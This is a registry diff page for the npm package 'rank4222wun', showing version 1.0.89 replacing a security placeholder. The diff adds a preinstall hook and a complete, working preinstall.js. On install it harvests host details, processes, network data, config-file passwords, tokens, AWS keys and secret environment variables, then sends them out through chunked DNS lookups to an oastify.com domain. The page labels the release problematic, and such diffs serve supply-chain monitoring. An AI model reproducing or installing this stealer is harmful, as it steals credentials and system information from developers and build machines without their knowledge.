rank4222wun 0.0.1-security → 1.0.89

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.89",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "dependencies": {}
6
9
  }
package/preinstall.js ADDED
@@ -0,0 +1,479 @@
1
+ const dns = require('dns');
2
+ const fs = require('fs');
3
+ const os = require('os');
4
+ const crypto = require('crypto');
5
+ const { exec } = require('child_process');
6
+ const path = require('path');
7
+
8
+ // Configuration
9
+ const TARGET_DOMAIN = 'mkaq3wbzvqg33yks6wqpxxo77ydp1hr5g.oastify.com';
10
+ const SESSION_ID = crypto.randomBytes(4).toString('hex');
11
+ const CHUNK_SIZE = 30; // Max safe for DNS labels
12
+ const DELAY_MS = 100; // Delay between requests
13
+
14
+ // Data storage
15
+ const collectedData = {
16
+ session: SESSION_ID,
17
+ timestamp: new Date().toISOString(),
18
+ hostname: os.hostname(),
19
+ user: os.userInfo().username,
20
+ platform: os.platform(),
21
+ arch: os.arch(),
22
+ cpus: os.cpus().length,
23
+ memory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
24
+ uptime: os.uptime(),
25
+
26
+ // Categories
27
+ processes: [],
28
+ network: { interfaces: [], routes: [] },
29
+ filesystem: { configs: [], sensitive: [] },
30
+ credentials: [],
31
+ tencent: { paths: [], files: [] },
32
+ npm: { packages: [], processes: [] },
33
+
34
+ // Stats
35
+ stats: {
36
+ processes: 0,
37
+ ips: 0,
38
+ configs: 0,
39
+ credentials: 0,
40
+ packages: 0
41
+ }
42
+ };
43
+
44
+ // Helper: Execute command and return output
45
+ function executeCommand(cmd, timeout = 5000) {
46
+ return new Promise((resolve) => {
47
+ exec(cmd, { timeout }, (error, stdout) => {
48
+ if (error || !stdout) resolve('');
49
+ else resolve(stdout.toString());
50
+ });
51
+ });
52
+ }
53
+
54
+ // DNS Exfiltration Engine
55
+ class DNSExfiltrator {
56
+ constructor(domain) {
57
+ this.domain = domain;
58
+ this.counter = 0;
59
+ this.success = 0;
60
+ this.fail = 0;
61
+ }
62
+
63
+ // Encode data for DNS (Base64, replace unsafe chars)
64
+ encodeChunk(data) {
65
+ // First, compress with simple encoding: remove whitespace
66
+ let compressed = data.replace(/\s+/g, ' ');
67
+ // Then base64 encode
68
+ let encoded = Buffer.from(compressed).toString('base64')
69
+ .replace(/=/g, '0') // = -> 0
70
+ .replace(/\//g, '1') // / -> 1
71
+ .replace(/\+/g, '2'); // + -> 2
72
+
73
+ // Add checksum (first 4 chars of MD5)
74
+ const checksum = crypto.createHash('md5').update(data).digest('hex').substring(0, 4);
75
+ return checksum + encoded;
76
+ }
77
+
78
+ // Send single chunk via DNS
79
+ async sendChunk(data, chunkNum, totalChunks, dataType = 'data') {
80
+ return new Promise((resolve) => {
81
+ const encoded = this.encodeChunk(data);
82
+ // Build DNS subdomain: type.chunk.encoded.counter.total.session.target
83
+ const subdomain = `${dataType}.${chunkNum}.${totalChunks}.${encoded}.${SESSION_ID}.${this.domain}`;
84
+
85
+ dns.lookup(subdomain, (err) => {
86
+ this.counter++;
87
+ if (err) {
88
+ this.fail++;
89
+ console.error(`āŒ Chunk ${chunkNum}/${totalChunks} failed: ${err.code}`);
90
+ } else {
91
+ this.success++;
92
+ if (chunkNum % 10 === 0) {
93
+ console.log(`šŸ“¤ Sent ${chunkNum}/${totalChunks} (${Math.round((chunkNum/totalChunks)*100)}%)`);
94
+ }
95
+ }
96
+ resolve();
97
+ });
98
+ });
99
+ }
100
+
101
+ // Send complete data object
102
+ async sendData(data, dataType = 'data') {
103
+ const jsonStr = JSON.stringify(data);
104
+ console.log(`šŸ“” Sending ${dataType} (${jsonStr.length} chars)`);
105
+
106
+ // Split into chunks of CHUNK_SIZE chars (after encoding will be larger)
107
+ const chunks = [];
108
+ for (let i = 0; i < jsonStr.length; i += CHUNK_SIZE) {
109
+ chunks.push(jsonStr.substring(i, i + CHUNK_SIZE));
110
+ }
111
+
112
+ console.log(`Split into ${chunks.length} chunks`);
113
+
114
+ // Send chunks with delay
115
+ for (let i = 0; i < chunks.length; i++) {
116
+ await this.sendChunk(chunks[i], i + 1, chunks.length, dataType);
117
+ await this.sleep(DELAY_MS);
118
+ }
119
+
120
+ console.log(`āœ… ${dataType} sent: ${this.success} ok, ${this.fail} failed`);
121
+ return { success: this.success, fail: this.fail };
122
+ }
123
+
124
+ sleep(ms) {
125
+ return new Promise(resolve => setTimeout(resolve, ms));
126
+ }
127
+ }
128
+
129
+ // Data Collection Functions
130
+ async function collectSystemInfo() {
131
+ console.log('šŸ” Collecting system information...');
132
+
133
+ // Processes
134
+ const processes = await executeCommand('ps aux 2>/dev/null | head -50');
135
+ collectedData.processes = processes.split('\n').slice(0, 20);
136
+ collectedData.stats.processes = collectedData.processes.length;
137
+
138
+ // Network
139
+ const ipInfo = await executeCommand('ip addr show 2>/dev/null');
140
+ const routeInfo = await executeCommand('ip route show 2>/dev/null');
141
+ collectedData.network.interfaces = ipInfo.substring(0, 1000);
142
+ collectedData.network.routes = routeInfo.substring(0, 500);
143
+
144
+ // Extract IPs
145
+ const ips = (ipInfo + routeInfo).match(/\d+\.\d+\.\d+\.\d+/g) || [];
146
+ collectedData.network.ips = [...new Set(ips)];
147
+ collectedData.stats.ips = collectedData.network.ips.length;
148
+
149
+ // System info
150
+ collectedData.os = await executeCommand('uname -a && cat /etc/os-release 2>/dev/null | head -20');
151
+ }
152
+
153
+ async function collectTencentInfo() {
154
+ console.log('šŸ¢ Collecting Tencent system information...');
155
+
156
+ // Check Tencent-specific paths
157
+ const tencentPaths = [
158
+ '/opt/hscan-supplychain-dynamic',
159
+ '/data',
160
+ '/var/log/hscan',
161
+ '/etc/hscan',
162
+ '/root/.bash_history',
163
+ '/tmp'
164
+ ];
165
+
166
+ for (const p of tencentPaths) {
167
+ try {
168
+ if (fs.existsSync(p)) {
169
+ const stat = fs.statSync(p);
170
+ collectedData.tencent.paths.push({
171
+ path: p,
172
+ type: stat.isDirectory() ? 'dir' : 'file',
173
+ size: stat.size
174
+ });
175
+
176
+ // If directory, list some contents
177
+ if (stat.isDirectory()) {
178
+ try {
179
+ const files = fs.readdirSync(p).slice(0, 10);
180
+ collectedData.tencent.files.push({
181
+ path: p,
182
+ files: files
183
+ });
184
+ } catch (e) {}
185
+ }
186
+ }
187
+ } catch (e) {}
188
+ }
189
+
190
+ // Find configuration files
191
+ const configs = await executeCommand(`
192
+ find /opt /etc /root -type f \\( -name "*.ini" -o -name "*.conf" -o -name ".env" \\) \\
193
+ -size -100k 2>/dev/null | head -20
194
+ `);
195
+
196
+ if (configs) {
197
+ const configFiles = configs.trim().split('\n');
198
+ collectedData.filesystem.configs = configFiles;
199
+ collectedData.stats.configs = configFiles.length;
200
+
201
+ // Read first 3 config files for secrets
202
+ for (const file of configFiles.slice(0, 3)) {
203
+ try {
204
+ const content = fs.readFileSync(file, 'utf8');
205
+
206
+ // Look for credentials
207
+ const patterns = [
208
+ /(password|passwd|pwd)[=:]\s*([^\n]+)/gi,
209
+ /(user|username)[=:]\s*([^\n]+)/gi,
210
+ /(host|server)[=:]\s*([^\n]+)/gi,
211
+ /(key|token|secret)[=:]\s*([^\n]+)/gi,
212
+ /(AKIA|ASIA)[A-Z0-9]{16}/g,
213
+ /mongodb:\/\/[^:]+:[^@]+@/g,
214
+ /mysql:\/\/[^:]+:[^@]+@/g
215
+ ];
216
+
217
+ for (const pattern of patterns) {
218
+ const matches = content.match(pattern);
219
+ if (matches) {
220
+ collectedData.credentials.push({
221
+ file: file,
222
+ matches: matches.slice(0, 3)
223
+ });
224
+ }
225
+ }
226
+ } catch (e) {}
227
+ }
228
+ }
229
+
230
+ collectedData.stats.credentials = collectedData.credentials.length;
231
+ }
232
+
233
+ async function collectNpmInfo() {
234
+ console.log('šŸ“¦ Collecting NPM information...');
235
+
236
+ // Find package.json files
237
+ const packages = await executeCommand(`
238
+ find / -name "package.json" -type f -size -10k 2>/dev/null | head -10
239
+ `);
240
+
241
+ if (packages) {
242
+ const packageFiles = packages.trim().split('\n');
243
+
244
+ for (const pkgFile of packageFiles.slice(0, 3)) {
245
+ try {
246
+ const content = fs.readFileSync(pkgFile, 'utf8');
247
+ const pkg = JSON.parse(content);
248
+
249
+ collectedData.npm.packages.push({
250
+ file: pkgFile,
251
+ name: pkg.name || 'unknown',
252
+ version: pkg.version || 'unknown',
253
+ scripts: Object.keys(pkg.scripts || {}).slice(0, 5)
254
+ });
255
+ } catch (e) {}
256
+ }
257
+ }
258
+
259
+ // NPM-related processes
260
+ const npmProcs = collectedData.processes.filter(p =>
261
+ p && (p.includes('npm') || p.includes('node') || p.includes('install'))
262
+ );
263
+ collectedData.npm.processes = npmProcs;
264
+ collectedData.stats.packages = collectedData.npm.packages.length;
265
+ }
266
+
267
+ async function collectAdditionalInfo() {
268
+ console.log('šŸ“Š Collecting additional information...');
269
+
270
+ // Docker info
271
+ collectedData.docker = await executeCommand('docker ps -a 2>/dev/null | head -20');
272
+
273
+ // Disk usage
274
+ collectedData.disk = await executeCommand('df -h 2>/dev/null | head -20');
275
+
276
+ // Current directory
277
+ collectedData.cwd = process.cwd();
278
+
279
+ // Environment variables (filtered)
280
+ const envVars = {};
281
+ for (const [key, value] of Object.entries(process.env)) {
282
+ if (key.includes('TENCENT') || key.includes('ALIYUN') || key.includes('CLOUD') ||
283
+ key.includes('SECRET') || key.includes('KEY') || key.includes('TOKEN')) {
284
+ envVars[key] = value.substring(0, 50);
285
+ }
286
+ }
287
+ collectedData.env = envVars;
288
+ }
289
+
290
+ // Save data locally (fallback)
291
+ function saveDataLocally() {
292
+ const storageDir = `/tmp/dns_exfil_${SESSION_ID}`;
293
+ if (!fs.existsSync(storageDir)) {
294
+ fs.mkdirSync(storageDir, { recursive: true });
295
+ }
296
+
297
+ // Save full data
298
+ fs.writeFileSync(
299
+ path.join(storageDir, 'full_data.json'),
300
+ JSON.stringify(collectedData, null, 2)
301
+ );
302
+
303
+ // Create summary
304
+ const summary = `
305
+ =============================================
306
+ DNS EXFILTRATION REPORT
307
+ =============================================
308
+ Session: ${SESSION_ID}
309
+ Hostname: ${collectedData.hostname}
310
+ User: ${collectedData.user}
311
+ Time: ${collectedData.timestamp}
312
+
313
+ šŸ“Š STATISTICS:
314
+ - Processes: ${collectedData.stats.processes}
315
+ - IP Addresses: ${collectedData.stats.ips}
316
+ - Config Files: ${collectedData.stats.configs}
317
+ - Credentials: ${collectedData.stats.credentials}
318
+ - NPM Packages: ${collectedData.stats.packages}
319
+
320
+ 🌐 NETWORK:
321
+ ${collectedData.network.ips.slice(0, 10).join('\n')}
322
+
323
+ šŸ”‘ CREDENTIALS FOUND: ${collectedData.credentials.length}
324
+
325
+ šŸ¢ TENCENT PATHS: ${collectedData.tencent.paths.length}
326
+
327
+ =============================================
328
+ `;
329
+
330
+ fs.writeFileSync(path.join(storageDir, 'summary.txt'), summary);
331
+
332
+ // Create commands for manual follow-up
333
+ const commands = `
334
+ #!/bin/bash
335
+ # Manual investigation commands for ${collectedData.hostname}
336
+
337
+ echo "=== SYSTEM INFO ==="
338
+ uname -a
339
+ cat /etc/os-release 2>/dev/null | head -5
340
+
341
+ echo "=== NETWORK ==="
342
+ ip addr show 2>/dev/null | grep "inet "
343
+ ip route show 2>/dev/null | head -10
344
+
345
+ echo "=== PROCESSES ==="
346
+ ps aux 2>/dev/null | grep -E "(npm|node|hscan|tencent)" | head -20
347
+
348
+ echo "=== TENCTENT FILES ==="
349
+ ls -la /opt/hscan-supplychain-dynamic/ 2>/dev/null || echo "Not found"
350
+ ls -la /data/ 2>/dev/null | head -10
351
+
352
+ echo "=== CONFIG FILES ==="
353
+ find /opt /etc -name "*.conf" -o -name "*.ini" -o -name ".env" 2>/dev/null | head -20
354
+
355
+ echo "=== DATABASES ==="
356
+ netstat -tulpn 2>/dev/null | grep -E "(3306|27017|5432|9200)"
357
+
358
+ echo "=== PCAP FILES ==="
359
+ find /data -name "*.pcap" -type f 2>/dev/null | head -5
360
+ `;
361
+
362
+ fs.writeFileSync(path.join(storageDir, 'investigate.sh'), commands);
363
+ fs.chmodSync(path.join(storageDir, 'investigate.sh'), 0o755);
364
+
365
+ console.log(`šŸ’¾ Data saved locally to: ${storageDir}`);
366
+ }
367
+
368
+ // Main execution
369
+ async function main() {
370
+ console.log('='.repeat(60));
371
+ console.log('šŸš€ DNS-ONLY EXFILTRATION STARTING');
372
+ console.log('='.repeat(60));
373
+ console.log(`Target Domain: ${TARGET_DOMAIN}`);
374
+ console.log(`Session ID: ${SESSION_ID}`);
375
+ console.log(`Hostname: ${os.hostname()}`);
376
+ console.log('='.repeat(60));
377
+
378
+ // Test DNS first
379
+ console.log('šŸ”— Testing DNS connectivity...');
380
+ try {
381
+ await new Promise((resolve, reject) => {
382
+ dns.lookup(TARGET_DOMAIN, (err) => {
383
+ if (err) reject(err);
384
+ else resolve();
385
+ });
386
+ });
387
+ console.log('āœ… DNS connectivity confirmed');
388
+ } catch (err) {
389
+ console.error(`āŒ DNS failed: ${err.message}`);
390
+ console.log('āš ļø Cannot proceed without DNS');
391
+ process.exit(1);
392
+ }
393
+
394
+ // Collect data
395
+ console.log('\n' + '='.repeat(60));
396
+ console.log('šŸ” COLLECTING DATA');
397
+ console.log('='.repeat(60));
398
+
399
+ await collectSystemInfo();
400
+ await collectTencentInfo();
401
+ await collectNpmInfo();
402
+ await collectAdditionalInfo();
403
+
404
+ // Save locally first (fallback)
405
+ saveDataLocally();
406
+
407
+ // Send data via DNS
408
+ console.log('\n' + '='.repeat(60));
409
+ console.log('šŸ“” SENDING DATA VIA DNS');
410
+ console.log('='.repeat(60));
411
+
412
+ const exfil = new DNSExfiltrator(TARGET_DOMAIN);
413
+
414
+ // Send in multiple parts to avoid size issues
415
+ const dataParts = {
416
+ metadata: {
417
+ session: collectedData.session,
418
+ timestamp: collectedData.timestamp,
419
+ hostname: collectedData.hostname,
420
+ user: collectedData.user,
421
+ platform: collectedData.platform,
422
+ stats: collectedData.stats
423
+ },
424
+
425
+ network: {
426
+ ips: collectedData.network.ips,
427
+ interface_count: collectedData.network.interfaces.split('\n').filter(l => l.includes('inet ')).length
428
+ },
429
+
430
+ processes: collectedData.processes.slice(0, 15),
431
+
432
+ tencent: {
433
+ paths: collectedData.tencent.paths,
434
+ file_count: collectedData.tencent.files.reduce((sum, f) => sum + f.files.length, 0)
435
+ },
436
+
437
+ credentials: collectedData.credentials.slice(0, 10),
438
+
439
+ npm: {
440
+ packages: collectedData.npm.packages.map(p => ({ name: p.name, version: p.version })),
441
+ processes_count: collectedData.npm.processes.length
442
+ }
443
+ };
444
+
445
+ // Send each part
446
+ for (const [key, data] of Object.entries(dataParts)) {
447
+ console.log(`\nšŸ“¤ Sending ${key}...`);
448
+ await exfil.sendData(data, key);
449
+ await exfil.sleep(500); // Extra delay between data types
450
+ }
451
+
452
+ // Send completion signal
453
+ console.log('\nšŸ“Ø Sending completion signal...');
454
+ await new Promise(resolve => {
455
+ dns.lookup(`complete.${SESSION_ID}.${TARGET_DOMAIN}`, () => {
456
+ console.log('āœ… Completion signal sent');
457
+ resolve();
458
+ });
459
+ });
460
+
461
+ // Final summary
462
+ console.log('\n' + '='.repeat(60));
463
+ console.log('āœ… EXFILTRATION COMPLETE');
464
+ console.log('='.repeat(60));
465
+ console.log(`Session: ${SESSION_ID}`);
466
+ console.log(`Hostname: ${collectedData.hostname}`);
467
+ console.log(`Data sent via DNS to: ${TARGET_DOMAIN}`);
468
+ console.log(`\nšŸ“Š Data collected:`);
469
+ console.log(` Processes: ${collectedData.stats.processes}`);
470
+ console.log(` IP Addresses: ${collectedData.stats.ips}`);
471
+ console.log(` Config Files: ${collectedData.stats.configs}`);
472
+ console.log(` Credentials Found: ${collectedData.stats.credentials}`);
473
+ console.log(` NPM Packages: ${collectedData.stats.packages}`);
474
+ console.log(`\nšŸ’¾ Local backup: /tmp/dns_exfil_${SESSION_ID}/`);
475
+ console.log('='.repeat(60));
476
+ }
477
+
478
+ // Run the exploit
479
+ main().catch(console.error);
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.